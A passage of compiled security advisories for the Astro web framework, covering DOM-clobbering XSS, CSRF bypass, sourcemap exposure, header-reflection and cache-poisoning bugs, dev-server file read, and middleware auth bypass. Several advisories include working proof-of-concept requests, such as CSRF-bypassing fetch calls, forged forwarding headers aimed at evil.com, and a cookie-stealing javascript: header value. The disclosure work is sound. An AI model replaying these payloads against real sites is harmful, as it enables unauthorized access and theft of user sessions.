/> <meta name="viewport" content="width=device-width" /> <meta name="generator" content={Astro.generator} /> <title>{pageTitle}</title> <ViewTransitions /> </head> <body> <!--USER INPUT--> <iframe name="scripts">alert(1)</iframe> <iframe name="scripts">alert(1)</iframe> <!--USER INPUT--> <Header /> <h1>{pageTitle}</h1> <slot /> <Footer /> <script> import "../scripts/menu.js"; </script> </body> </html> ``` ##### Impact This vulnerability can result in cross-site scripting (XSS) attacks on websites that built with Astro that enable the client-side routing with `ViewTransitions` and store the user-inserted scriptless HTML tags without properly sanitizing the `name` attributes on the page. ##### Patch We recommend replacing `document.scripts` with `document.getElementsByTagName('script')` for referring to script elements. This will mitigate the possibility of DOM Clobbering attacks leveraging the `name` attribute. ##### Reference Similar issues for reference: + Webpack ([CVE-2024-43788](https://github.com/webpack/webpack/security/advisories/GHSA-4vvj-4cpr-p986)) + Vite ([CVE-2024-45812](https://github.com/vitejs/vite/security/advisories/GHSA-64vr-g452-qvp3)) + layui ([CVE-2024-47075](https://github.com/layui/layui/security/advisories/GHSA-j827-6rgf-9629)) #### Severity - CVSS Score: 5.9 / 10 (Medium) - Vector String: `CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:L/A:H` #### References - [https://github.com/withastro/astro/security/advisories/GHSA-m85w-3h95-hcf9](https://github.com/withastro/astro/security/advisories/GHSA-m85w-3h95-hcf9) - [https://nvd.nist.gov/vuln/detail/CVE-2024-47885](https://nvd.nist.gov/vuln/detail/CVE-2024-47885) - [https://github.com/withastro/astro/commit/a4ffbfaa5cb460c12bd486fd75e36147f51d3e5e](https://github.com/withastro/astro/commit/a4ffbfaa5cb460c12bd486fd75e36147f51d3e5e) - [https://github.com/withastro/astro](https://github.com/withastro/astro) - [https://github.com/withastro/astro/blob/7814a6cad15f06931f963580176d9b38aa7819f2/packages/astro/src/transitions/router.ts#L135-L156](https://github.com/withastro/astro/blob/7814a6cad15f06931f963580176d9b38aa7819f2/packages/astro/src/transitions/router.ts#L135-L156) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-m85w-3h95-hcf9) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Atro CSRF Middleware Bypass (security.checkOrigin) [CVE-2024-56140](https://nvd.nist.gov/vuln/detail/CVE-2024-56140) / [GHSA-c4pw-33h3-35xw](https://github.com/advisories/GHSA-c4pw-33h3-35xw) <details> <summary>More information</summary> #### Details ##### Summary A bug in Astro’s CSRF-protection middleware allows requests to bypass CSRF checks. ##### Details When the `security.checkOrigin` configuration option is set to `true`, Astro middleware will perform a CSRF check. (Source code: https://github.com/withastro/astro/blob/6031962ab5f56457de986eb82bd24807e926ba1b/packages/astro/src/core/app/middlewares.ts) For example, with the following Astro configuration: ```js // astro.config.mjs import { defineConfig } from 'astro/config'; import node from '@astrojs/node'; export default defineConfig({ output: 'server', security: { checkOrigin: true }, adapter: node({ mode: 'standalone' }), }); ``` A request like the following would be blocked if made from a different origin: ```js // fetch API or <form action="https://test.example.com/" method="POST"> fetch('https://test.example.com/', { method: 'POST', credentials: 'include', body: 'a=b', headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, }); // => Cross-site POST form submissions are forbidden ``` However, a vulnerability exists that can bypass this security. ##### Pattern 1: Requests with a semicolon after the `Content-Type` A semicolon-delimited parameter is allowed after the type in `Content-Type`. Web browsers will treat a `Content-Type` such as `application/x-www-form-urlencoded; abc` as a [simple request](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests) and will not perform preflight validation. In this case, CSRF is not blocked as expected. ```js fetch('https://test.example.com', { method: 'POST', credentials: 'include', body: 'test', headers: { 'Content-Type': 'application/x-www-form-urlencoded; abc' }, }); // => Server-side functions are executed (Response Code 200). ``` ##### Pattern 2: Request without `Content-Type` header The `Content-Type` header is not required for a request. The following examples are sent without a `Content-Type` header, resulting in CSRF. ```js // Pattern 2.1 Request without body fetch('http://test.example.com', { method: 'POST', credentials: 'include' }); // Pattern 2.2 Blob object without type fetch('https://test.example.com', { method: 'POST', credentials: 'include', body: new Blob(['a=b'], {}), }); ``` ##### Impact Bypass CSRF protection implemented with CSRF middleware. > [!Note] > Even with `credentials: 'include'`, browsers may not send cookies due to third-party cookie blocking. This feature depends on the browser version and settings, and is for privacy protection, not as a CSRF measure. #### Severity - CVSS Score: 5.9 / 10 (Medium) - Vector String: `CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:H/A:N` #### References - [https://github.com/withastro/astro/security/advisories/GHSA-c4pw-33h3-35xw](https://github.com/withastro/astro/security/advisories/GHSA-c4pw-33h3-35xw) - [https://nvd.nist.gov/vuln/detail/CVE-2024-56140](https://nvd.nist.gov/vuln/detail/CVE-2024-56140) - [https://github.com/withastro/astro/commit/e7d14c374b9d45e27089994a4eb72186d05514de](https://github.com/withastro/astro/commit/e7d14c374b9d45e27089994a4eb72186d05514de) - [https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests) - [https://github.com/withastro/astro](https://github.com/withastro/astro) - [https://github.com/withastro/astro/blob/6031962ab5f56457de986eb82bd24807e926ba1b/packages/astro/src/core/app/middlewares.ts](https://github.com/withastro/astro/blob/6031962ab5f56457de986eb82bd24807e926ba1b/packages/astro/src/core/app/middlewares.ts) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-c4pw-33h3-35xw) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Astro's server source code is exposed to the public if sourcemaps are enabled [CVE-2024-56159](https://nvd.nist.gov/vuln/detail/CVE-2024-56159) / [GHSA-49w6-73cw-chjr](https://github.com/advisories/GHSA-49w6-73cw-chjr) <details> <summary>More information</summary> #### Details ##### Summary A bug in the build process allows any unauthenticated user to read parts of the server source code. ##### Details During build, along with client assets such as css and font files, the sourcemap files **for the server code** are moved to a publicly-accessible folder. https://github.com/withastro/astro/blob/176fe9f113fd912f9b61e848b00bbcfecd6d5c2c/packages/astro/src/core/build/static-build.ts#L139 Any outside party can read them with an unauthorized HTTP GET request to the same server hosting the rest of the website. While some server files are hashed, making their access obscure, the files corresponding to the file system router (those in `src/pages`) are predictably named. For example. the sourcemap file for `src/pages/index.astro` gets named `dist/client/pages/index.astro.mjs.map`. ##### PoC Here is one example of an affected open-source website: https://creatorsgarten.org/pages/index.astro.mjs.map <image width="500" height="263" src="https://github.com/user-attachments/assets/773c5532-87af-42b8-838e-8f5472bf9f68"/> The file can be saved and opened using https://evanw.github.io/source-map-visualization/ to reconstruct the source code. <image width="500" height="271" src="https://github.com/user-attachments/assets/7d35d0ca-3a29-4666-be21-cfefe311ac9d"/> The above accurately mirrors the source code as seen in the repository: https://github.com/creatorsgarten/creatorsgarten.org/blob/main/src/pages/index.astro <image width="500" height="298" src="https://github.com/user-attachments/assets/39e77197-8382-4556-a024-c526dacccc1c"/> The above was found as the 4th result (and the first one on Astro 5.0+) when making the following search query on GitHub.com ([search results link](https://github.com/search?q=path%3Aastro.config.mjs+%40sentry%2Fastro&type=code)): ``` path:astro.config.mjs @sentry/astro ``` This vulnerability is the root cause of https://github.com/withastro/astro/issues/12703, which links to a simple stackblitz project demonstrating the vulnerability. Upon build, notice the contents of the `dist/client` (referred to as `config.build.client` in astro code) folder. All astro servers make the folder in question accessible to the public internet without any authentication. It contains `.map` files corresponding to the code that runs on the server. ##### Impact All **server-output** (SSR) projects on Astro 5 versions **v5.0.3** through **v5.0.6** (inclusive), that have **sourcemaps enabled**, either directly or through an add-on such as [sentry](https://github.com/getsentry/sentry-javascript/blob/develop/packages/astro/src/integration/index.ts#L50), are affected. The fix for **server-output** projects was released in **astro@5.0.7**. Additionally, all **static-output** (SSG) projects built using Astro 4 versions **4.16.17 or older**, or Astro 5 versions **5.0.7 or older**, that have **sourcemaps enabled** are also affected. The fix for **static-output** projects was released in **astro@5.0.8**, and backported to Astro v4 in **astro@4.16.18**. The immediate impact is limited to source code. Any secrets or environment variables are not exposed unless they are present verbatim in the source code. There is no immediate loss of integrity within the the vulnerable server. However, it is possible to subsequently discover another vulnerability via the revealed source code . There is no immediate impact to availability of the vulnerable server. However, the presence of an unsafe regular expression, for example, can quickly be exploited to subsequently compromise the availability. - Network attack vector. - Low attack complexity. - No privileges required. - No interaction required from an authorized user. - Scope is limited to first party. Although the source code of closed-source third-party software may also be exposed. ##### Remediation The fix for **server-output** projects was released in **astro@5.0.7**, and the fix for **static-output** projects was released in **astro@5.0.8** and backported to Astro v4 in **astro@4.16.18**. Users are advised to update immediately if they are using sourcemaps or an integration that enables sourcemaps. #### Severity - CVSS Score: 7.8 / 10 (High) - Vector String: `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:H/SI:L/SA:L` #### References - [https://github.com/withastro/astro/security/advisories/GHSA-49w6-73cw-chjr](https://github.com/withastro/astro/security/advisories/GHSA-49w6-73cw-chjr) - [https://nvd.nist.gov/vuln/detail/CVE-2024-56159](https://nvd.nist.gov/vuln/detail/CVE-2024-56159) - [https://github.com/withastro/astro/issues/12703](https://github.com/withastro/astro/issues/12703) - [https://github.com/withastro/astro/commit/039d022b1bbaacf9ea83071d27affc5318e0e515](https://github.com/withastro/astro/commit/039d022b1bbaacf9ea83071d27affc5318e0e515) - [https://github.com/withastro/astro/commit/c879f501ff01b1a3c577de776a1f7100d78f8dd5](https://github.com/withastro/astro/commit/c879f501ff01b1a3c577de776a1f7100d78f8dd5) - [https://github.com/getsentry/sentry-javascript/blob/develop/packages/astro/src/integration/index.ts#L50](https://github.com/getsentry/sentry-javascript/blob/develop/packages/astro/src/integration/index.ts#L50) - [https://github.com/withastro/astro](https://github.com/withastro/astro) - [https://github.com/withastro/astro/blob/176fe9f113fd912f9b61e848b00bbcfecd6d5c2c/packages/astro/src/core/build/static-build.ts#L139](https://github.com/withastro/astro/blob/176fe9f113fd912f9b61e848b00bbcfecd6d5c2c/packages/astro/src/core/build/static-build.ts#L139) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-49w6-73cw-chjr) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Astro allows unauthorized third-party images in _image endpoint [CVE-2025-55303](https://nvd.nist.gov/vuln/detail/CVE-2025-55303) / [GHSA-xf8x-j4p2-f749](https://github.com/advisories/GHSA-xf8x-j4p2-f749) <details> <summary>More information</summary> #### Details ##### Summary In affected versions of `astro`, the image optimization endpoint in projects deployed with on-demand rendering allows images from unauthorized third-party domains to be served. ##### Details On-demand rendered sites built with Astro include an `/_image` endpoint which returns optimized versions of images. The `/_image` endpoint is restricted to processing local images bundled with the site and also supports remote images from domains the site developer has manually authorized (using the [`image.domains`](https://docs.astro.build/en/reference/configuration-reference/#imagedomains) or [`image.remotePatterns`](https://docs.astro.build/en/reference/configuration-reference/#imageremotepatterns) options). However, a bug in impacted versions of `astro` allows an attacker to bypass the third-party domain restrictions by using a protocol-relative URL as the image source, e.g. `/_image?href=//example.com/image.png`. ##### Proof of Concept 1. Create a new minimal Astro project (`astro@5.13.0`). 2. Configure it to use the Node adapter (`@astrojs/node@9.1.0` — newer versions are not impacted): ```js // astro.config.mjs import { defineConfig } from 'astro/config'; import node from '@astrojs/node'; export default defineConfig({ adapter: node({ mode: 'standalone' }), }); ``` 3. Build the site by running `astro build`. 4. Run the server, e.g. with `astro preview`. 5. Append `/_image?href=//placehold.co/600x400` to the preview URL, e.g. <http://localhost:4321/_image?href=//placehold.co/600x400> 6. The site will serve the image from the unauthorized `placehold.co` origin. ##### Impact Allows a non-authorized third-party to create URLs on an impacted site’s origin that serve unauthorized image content. In the case of SVG images, this could include the risk of cross-site scripting (XSS) if a user followed a link to a maliciously crafted SVG. #### Severity - CVSS Score: 6.4 / 10 (Medium) - Vector String: `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N` #### References - [https://github.com/withastro/astro/security/advisories/GHSA-xf8x-j4p2-f749](https://github.com/withastro/astro/security/advisories/GHSA-xf8x-j4p2-f749) - [https://nvd.nist.gov/vuln/detail/CVE-2025-55303](https://nvd.nist.gov/vuln/detail/CVE-2025-55303) - [https://github.com/withastro/astro/commit/4d16de7f95db5d1ec1ce88610d2a95e606e83820](https://github.com/withastro/astro/commit/4d16de7f95db5d1ec1ce88610d2a95e606e83820) - [https://github.com/withastro/astro](https://github.com/withastro/astro) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-xf8x-j4p2-f749) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Astro's `X-Forwarded-Host` is reflected without validation [CVE-2025-61925](https://nvd.nist.gov/vuln/detail/CVE-2025-61925) / [GHSA-5ff5-9fcw-vg88](https://github.com/advisories/GHSA-5ff5-9fcw-vg88) <details> <summary>More information</summary> #### Details ##### Summary When running Astro in on-demand rendering mode using a adapter such as the node adapter it is possible to maliciously send an `X-Forwarded-Host` header that is reflected when using the recommended `Astro.url` property as there is no validation that the value is safe. ##### Details Astro reflects the value in `X-Forwarded-Host` in output when using `Astro.url` without any validation. It is common for web servers such as nginx to route requests via the `Host` header, and forward on other request headers. As such as malicious request can be sent with both a `Host` header and an `X-Forwarded-Host` header where the values do not match and the `X-Forwarded-Host` header is malicious. Astro will then return the malicious value. This could result in any usages of the `Astro.url` value in code being manipulated by a request. For example if a user follows guidance and uses `Astro.url` for a canonical link the canonical link can be manipulated to another site. It is not impossible to imagine that the value could also be used as a login/registration or other form URL as well, resulting in potential redirecting of login credentials to a malicious party. As this is a per-request attack vector the surface area would only be to the malicious user until one considers that having a caching proxy is a common setup, in which case any page which is cached could persist the malicious value for subsequent users. Many other frameworks have an allowlist of domains to validate against, or do not have a case where the headers are reflected to avoid such issues. ##### PoC - Check out the minimal Astro example found here: https://github.com/Chisnet/minimal_dynamic_astro_server - `nvm use` - `yarn run build` - `node ./dist/server/entry.mjs` - `curl --location 'http://localhost:4321/' --header 'X-Forwarded-Host: www.evil.com' --header 'Host: www.example.com'` - Observe that the response reflects the malicious `X-Forwarded-Host` header For the more advanced / dangerous attack vector deploy the application behind a caching proxy, e.g. Cloudflare, set a non-zero cache time, perform the above `curl` request a few times to establish a cache, then perform the request without the malicious headers and observe that the malicious data is persisted. ##### Impact This could affect anyone using Astro in an on-demand/dynamic rendering mode behind a caching proxy. #### Severity - CVSS Score: 6.5 / 10 (Medium) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L` #### References - [https://github.com/withastro/astro/security/advisories/GHSA-5ff5-9fcw-vg88](https://github.com/withastro/astro/security/advisories/GHSA-5ff5-9fcw-vg88) - [https://nvd.nist.gov/vuln/detail/CVE-2025-61925](https://nvd.nist.gov/vuln/detail/CVE-2025-61925) - [https://github.com/withastro/astro/commit/6ee63bfac4856f21b4d4633021b3d2ee059e553f](https://github.com/withastro/astro/commit/6ee63bfac4856f21b4d4633021b3d2ee059e553f) - [https://github.com/Chisnet/minimal_dynamic_astro_server](https://github.com/Chisnet/minimal_dynamic_astro_server) - [https://github.com/withastro/astro](https://github.com/withastro/astro) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-5ff5-9fcw-vg88) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Astro Development Server has Arbitrary Local File Read [CVE-2025-64757](https://nvd.nist.gov/vuln/detail/CVE-2025-64757) / [GHSA-x3h8-62x9-952g](https://github.com/advisories/GHSA-x3h8-62x9-952g) <details> <summary>More information</summary> #### Details ##### Summary A vulnerability has been identified in the Astro framework's development server that allows arbitrary local file read access through the image optimization endpoint. The vulnerability affects Astro development environments and allows remote attackers to read any image file accessible to the Node.js process on the host system. ##### Details - **Title**: Arbitrary Local File Read in Astro Development Image Endpoint - **Type**: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') - **Component**: `/packages/astro/src/assets/endpoint/node.ts` - **Affected Versions**: Astro v5.x development builds (confirmed v5.13.3) - **Attack Vector**: Network (HTTP GET request) - **Authentication Required**: None The vulnerability exists in the Node.js image endpoint handler used during development mode. The endpoint accepts an `href` parameter that specifies the path to an image file. In development mode, this parameter is processed without adequate path validation, allowing attackers to specify absolute file paths. **Vulnerable Code Location**: `packages/astro/src/assets/endpoint/node.ts` ```typescript // Vulnerable code in development mode if (import.meta.env.DEV) { fileUrl = pathToFileURL(removeQueryString(replaceFileSystemReferences(src))); } else { // Production has proper path validation // ... security checks omitted in dev mode } ``` The development branch bypasses the security checks that exist in the production code path, which validates that file paths are within the allowed assets directory. ##### PoC ##### Attack Prerequisites 1. Astro development server must be running (`astro dev`) 2. The `/_image` endpoint must be accessible to the attacker 3. Target image files must be readable by the Node.js process ##### Exploit Steps 1. Start Astro Development Server: ```bash astro dev # Typically runs on http://localhost:4321 ``` 2. Craft Malicious Request: ```http GET /_image?href=/[ABSOLUTE_PATH_TO_IMAGE]&w=100&h=100&f=png HTTP/1.1 Host: localhost:4321 ``` 3. Example Attack: ```bash curl "http://localhost:4321/_image?href=/%2FSystem%2FLibrary%2FImage%20Capture%2FAutomatic%20Tasks%2FMakePDF.app%2FContents%2FResources%2F0blank.jpg&w=100&h=100&f=png" -o stolen.png ``` ##### Demonstration Results **Test Environment**: macOS with Astro v5.13.3 **Successful Exploitation**: - Target: `/System/Library/Image Capture/Automatic Tasks/MakePDF.app/Contents/Resources/0blank.jpg` - Response: HTTP 200 OK, Content-Type: image/png - Exfiltration: 303 bytes (100x100 PNG) - File Created: `stolen-image.png` containing processed system image **Attack Payload**: ``` http://localhost:4321/_image?href=/%2FSystem%2FLibrary%2FImage%20Capture%2FAutomatic%20Tasks%2FMakePDF.app%2FContents%2FResources%2F0blank.jpg&w=100&h=100&f=png ``` **Server Response**: ``` Status: 200 OK Content-Type: image/png Content-Length: 303 ``` ##### Impact ##### Confidentiality Impact: HIGH - **Scope**: Any image file readable by the Node.js process - **Exfiltration Method**: Complete file contents via HTTP response (transformed to PNG) ##### Integrity Impact: NONE - The vulnerability only allows reading files, not modification ##### Availability Impact: NONE - No direct impact on system availability - Potential for resource exhaustion through repeated large image requests ##### Affected Components ##### Primary Component - **File**: `packages/astro/src/assets/endpoint/node.ts` - **Function**: `loadLocalImage()` - **Lines**: Development mode branch (~25-35) ##### Secondary Components - **File**: `packages/astro/src/assets/endpoint/generic.ts` - **Impact**: Uses different code path, not directly vulnerable - **Note**: Implements proper remote allowlist validation #### Severity - CVSS Score: 3.5 / 10 (Low) - Vector String: `CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N` #### References - [https://github.com/withastro/astro/security/advisories/GHSA-x3h8-62x9-952g](https://github.com/withastro/astro/security/advisories/GHSA-x3h8-62x9-952g) - [https://nvd.nist.gov/vuln/detail/CVE-2025-64757](https://nvd.nist.gov/vuln/detail/CVE-2025-64757) - [https://github.com/withastro/astro/commit/b8ca69b97149becefaf89bf21853de9c905cdbb7](https://github.com/withastro/astro/commit/b8ca69b97149becefaf89bf21853de9c905cdbb7) - [https://github.com/withastro/astro](https://github.com/withastro/astro) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-x3h8-62x9-952g) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Astro vulnerable to URL manipulation via headers, leading to middleware and CVE-2025-61925 bypass [CVE-2025-64525](https://nvd.nist.gov/vuln/detail/CVE-2025-64525) / [GHSA-hr2q-hp5q-x767](https://github.com/advisories/GHSA-hr2q-hp5q-x767) <details> <summary>More information</summary> #### Details ##### Summary In impacted versions of Astro using [on-demand rendering](https://docs.astro.build/en/guides/on-demand-rendering/), request headers `x-forwarded-proto` and `x-forwarded-port` are insecurely used, without sanitization, to build the URL. This has several consequences the most important of which are: - Middleware-based protected route bypass (only via `x-forwarded-proto`) - DoS via cache poisoning (if a CDN is present) - SSRF (only via `x-forwarded-proto`) - URL pollution (potential SXSS, if a CDN is present) - WAF bypass ##### Details The `x-forwarded-proto` and `x-forwarded-port` headers are used without sanitization in two parts of the Astro server code. The most important is in the `createRequest()` function. Any configuration, including the default one, is affected: [https://github.com/withastro/astro/blob/970ac0f51172e1e6bff4440516a851e725ac3097/packages/astro/src/core/app/node.ts#L97](https://github.com/withastro/astro/blob/970ac0f51172e1e6bff4440516a851e725ac3097/packages/astro/src/core/app/node.ts#L97) [https://github.com/withastro/astro/blob/970ac0f51172e1e6bff4440516a851e725ac3097/packages/astro/src/core/app/node.ts#L121](https://github.com/withastro/astro/blob/970ac0f51172e1e6bff4440516a851e725ac3097/packages/astro/src/core/app/node.ts#L121) These header values are then used directly to construct URLs. By injecting a payload at the protocol level during URL creation (via the `x-forwarded-proto` header), the entire URL can be rewritten, including the host, port and path, and then pass the rest of the URL, the real hostname and path, as a query so that it doesn't affect (re)routing. If the following header value is injected when requesting the path `/ssr`: ``` x-forwarded-proto: https://www.malicious-url.com/?tank= ``` The complete URL that will be created is: `https://www.malicious-url.com/?tank=://localhost/ssr` As a reminder, URLs are created like this: ``` url = new URL(`${protocol}://${hostnamePort}${req.url}`); ``` The value is injected at the beginning of the string (`${protocol}`), and ends with a query `?tank=` whose value is the rest of the string, `://${hostnamePort}${req.url}`. This way there is control over the routing without affecting the path, and the URL can be manipulated arbitrarily. This behavior can be exploited in various ways, as will be seen in the PoC section. The same logic applies to `x-forwarded-port`, with a few differences. > [!NOTE] > The `createRequest` function is called every time a non-static page is requested. Therefore, all non-static pages are exploitable for reproducing the attack. ##### PoC The PoC will be tested with a minimal repository: - Latest Astro version at the time (`2.16.0`) - The Node adapter - Two simple pages, one SSR (`/ssr`), the other simulating an admin page (`/admin`) protected by a middleware - A middleware example copied and pasted from the official Astro documentation to protect the admin page based on the path [Download the PoC repository](https://github.com/zhero-web-sec/astro-app) ##### Middleware-based protected route bypass - x-forwarded-proto only The middleware has been configured to protect the `/admin` route based on [the official documentation](https://docs.astro.build/en/guides/authentication/): ```ts // src/middleware.ts import { defineMiddleware } from "astro/middleware"; export const onRequest = defineMiddleware(async (context, next) => { const isAuthed = false; // auth logic if (context.url.pathname === "/admin" && !isAuthed) { return context.redirect("/"); } return next(); }); ``` 1. When tryint to access `/admin` the attacker is naturally redirected : ```sh curl -i http://localhost:4321/admin ``` <img width="620" height="102" alt="image" src="https://github.com/user-attachments/assets/15a7bffc-ee56-4ed9-84b2-091cf4d78351" /> 2. The attackr can bypass the middleware path check using a malicious header value: ```sh curl -i -H "x-forwarded-proto: x:admin?" http://localhost:4321/admin ``` <img width="1348" height="159" alt="image" src="https://github.com/user-attachments/assets/d9d9ac1a-5efa-452b-981e-efea8a08d089" /> ##### How ​​is this possible? Here, with the payload `x:admin?`, the attacker can use the URL API parser to their advantage: - `x:` is considered the protocol - Since there is no `//`, the parser considers there to be no authority, and everything before the `?` character is therefore considered part of the path: `admin` During a path-based middleware check, the *path* value begins with a `/`: `context.url.pathname === "/admin"`. However, this is not the case with this payload; `context.url.pathname === "admin"`, the absence of a slash satisfies both the middleware check and the router and consequently allows us to bypass the protection and access the page. ##### SSRF As seen, the request URL is built from untrusted input via the `x-forwarded-protocol` header, if it turns out that this URL is subsequently used to perform external network calls, for an API for example, this allows an attacker to supply a malicious URL that the server will fetch, resulting in server-side request forgery (SSRF). Example of code reusing the "origin" URL, concatenating it to the API endpoint : <img width="601" height="418" alt="image" src="https://github.com/user-attachments/assets/9c374b2c-841c-48d6-98f1-3b3f5b060802" /> ##### DoS via cache poisoning If a CDN is present, it is possible to force the caching of bad pages/resources, or 404 pages on the application routes, rendering the application unusable. A `404` cab be forced, causing an error on the `/ssr` page like this : `curl -i -H "x-forwarded-proto: https://localhost/vulnerable?" http://localhost:4321/ssr` <img width="998" height="108" alt="image" src="https://github.com/user-attachments/assets/4bab58e5-3045-4e25-9aa2-2f72a0832d86" /> Same logic applies to `x-forwarded-port` : `curl -i -H "x-forwarded-port: /vulnerable?" http://localhost:4321/ssr` ##### How ​​is this possible? The router sees the request for the path `/vulnerable`, which does not exist, and therefore returns a `404`, while the potential CDN sees `/ssr` and can then cache the `404` response, consequently serving it to all users requesting the path `/ssr`. ##### URL pollution The exploitability of the following is also contingent on the presence of a CDN, and is therefore cache poisoning. If the value of `request.url` is used to create links within the page, this can lead to Stored XSS with `x-forwarded-proto` and the following value: ``` x-forwarded-proto: javascript:alert(document.cookie)// ``` results in the following URL object: <img width="444" height="202" alt="image" src="https://github.com/user-attachments/assets/c2990626-da5b-4868-9093-dbb9b34780ba" /> It is also possible to inject any link, always, if the value of `request.url` is used on the server side to create links. ``` x-forwarded-proto: https://www.malicious-site.com/bad? ``` **The attacker is more limited with `x-forwarded-port`** If the value of `request.url` is used to create links within the page, this can lead to broken links, with the header and the following value: ``` X-Forwarded-Port: /nope? ``` Example of an Astro website: <img width="1627" height="298" alt="Capture d’écran 2025-11-03 à 22 07 14" src="https://github.com/user-attachments/assets/02de5e67-f48d-4bf4-810d-6b0714ad2c12" /> ##### WAF bypass For this section, Astro invites users to read previous research on the React-Router/Remix framework, in the section "Exploitation - WAF bypass and escalations". This research deals with a similar case, the difference being that the vulnerable header was `x-forwarded-host` in their case: [https://zhero-web-sec.github.io/research-and-things/react-router-and-the-remixed-path](https://zhero-web-sec.github.io/research-and-things/react-router-and-the-remixed-path) Note: A section addressing DoS attacks via cache poisoning using the same vector was also included there. ##### CVE-2025-61925 complete bypass It is possible to completely bypass the vulnerability patch related to the `X-Forwarded-Host` header. By sending `x-forwarded-host` with an empty value, the `forwardedHostname` variable is assigned an empty string. Then, during [the subsequent check](https://github.com/withastro/astro/blob/7a5f28006e9b1f6ad77c7884991ba551ca9ff35b/packages/astro/src/core/app/node.ts#L107), the condition fails because `forwardedHostname ` returns `false`, its value being an empty string: ``` if (forwardedHostname && !App.validateForwardedHost(...)) ``` Consequently, the implemented check is bypassed. From this point on, since the request has no `host` (*its value being an empty string*), the path value is retrieved by the URL parser to set it as the `host`. This is because the `http/https` schemes are considered special schemes by the [WHATWG URL Standard Specification](https://url.spec.whatwg.org/#scheme-state), requiring an `authority state`. From there, the following request on the example SSR application (astro repo) yields an SSRF: <img width="1878" height="456" alt="Capture d’écran 2025-11-06 à 21 18 26" src="https://github.com/user-attachments/assets/c5cca89c-9c65-46f6-bf70-cd7a90a9e0d9" /> *empty `x-forwarded-host` + the target `host` in the path* ##### Credits - Allam Rachid ([zhero;](https://zhero-web-sec.github.io/research-and-things/)) - Allam Yasser (inzo) #### Severity - CVSS Score: 6.5 / 10 (Medium) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L` #### References - [https://github.com/withastro/astro/security/advisories/GHSA-hr2q-hp5q-x767](https://github.com/withastro/astro/security/advisories/GHSA-hr2q-hp5q-x767) - [https://nvd.nist.gov/vuln/detail/CVE-2025-64525](https://nvd.nist.gov/vuln/detail/CVE-2025-64525) - [https://github.com/withastro/astro/commit/dafbb1ba29912099c4faff1440033edc768af8b4](https://github.com/withastro/astro/commit/dafbb1ba29912099c4faff1440033edc768af8b4) - [https://github.com/withastro/astro](https://github.com/withastro/astro) - [https://github.com/withastro/astro/blob/970ac0f51172e1e6bff4440516a851e725ac3097/packages/astro/src/core/app/node.ts#L121](https://github.com/withastro/astro/blob/970ac0f51172e1e6bff4440516a851e725ac3097/packages/astro/src/core/app/node.ts#L121) - [https://github.com/withastro/astro/blob/970ac0f51172e1e6bff4440516a851e725ac3097/packages/astro/src/core/app/node.ts#L97](https://github.com/withastro/astro/blob/970ac0f51172e1e6bff4440516a851e725ac3097/packages/astro/src/core/app/node.ts#L97) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-hr2q-hp5q-x767) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Astro's middleware authentication checks based on url.pathname can be bypassed via url encoded values [CVE-2025-64765](https://nvd.nist.gov/vuln/detail/CVE-2025-64765) / [GHSA-ggxq-hp9w-j794](https://github.com/advisories/GHSA-ggxq-hp9w-j794) <details> <summary>More information</summary> #### Details A mismatch exists between how Astro normalizes request paths for routing/rendering and how the application’s middleware reads the path for validation checks. Astro internally applies `decodeURI()` to determine which route to render, while the middleware uses `context.url.pathname` without applying the same normalization (decodeURI). This discrepancy may allow attackers to reach protected routes (e.g., /admin) using encoded path variants that pass routing but bypass validation checks. https://github.com/withastro/astro/blob/ebc4b1cde82c76076d5d673b5b70f94be2c066f3/packages/astro/src/vite-plugin-astro-server/request.ts#L40-L44 ```js /** The main logic to route dev server requests to pages in Astro. */ export async function handleRequest({ pipeline, routesList, controller, incomingRequest, incomingResponse, }: HandleRequest) { const { config, loader } = pipeline; const origin = `${loader.isHttps() ? 'https' : 'http'}://${ incomingRequest.headers[':authority'] ?? incomingRequest.headers.host }`; const url = new URL(origin + incomingRequest.url); let pathname: string; if (config.trailingSlash === 'never' && !incomingRequest.url) { pathname = ''; } else { // We already have a middleware that checks if there's an incoming URL that has invalid URI, so it's safe // to not handle the error: packages/astro/src/vite-plugin-astro-server/base.ts pathname = decodeURI(url.pathname); // here this url is for routing/rendering } // Add config.base back to url before passing it to SSR url.pathname = removeTrailingForwardSlash(config.base) + url.pathname; // this is used for middleware context ``` Consider an application having the following middleware code: 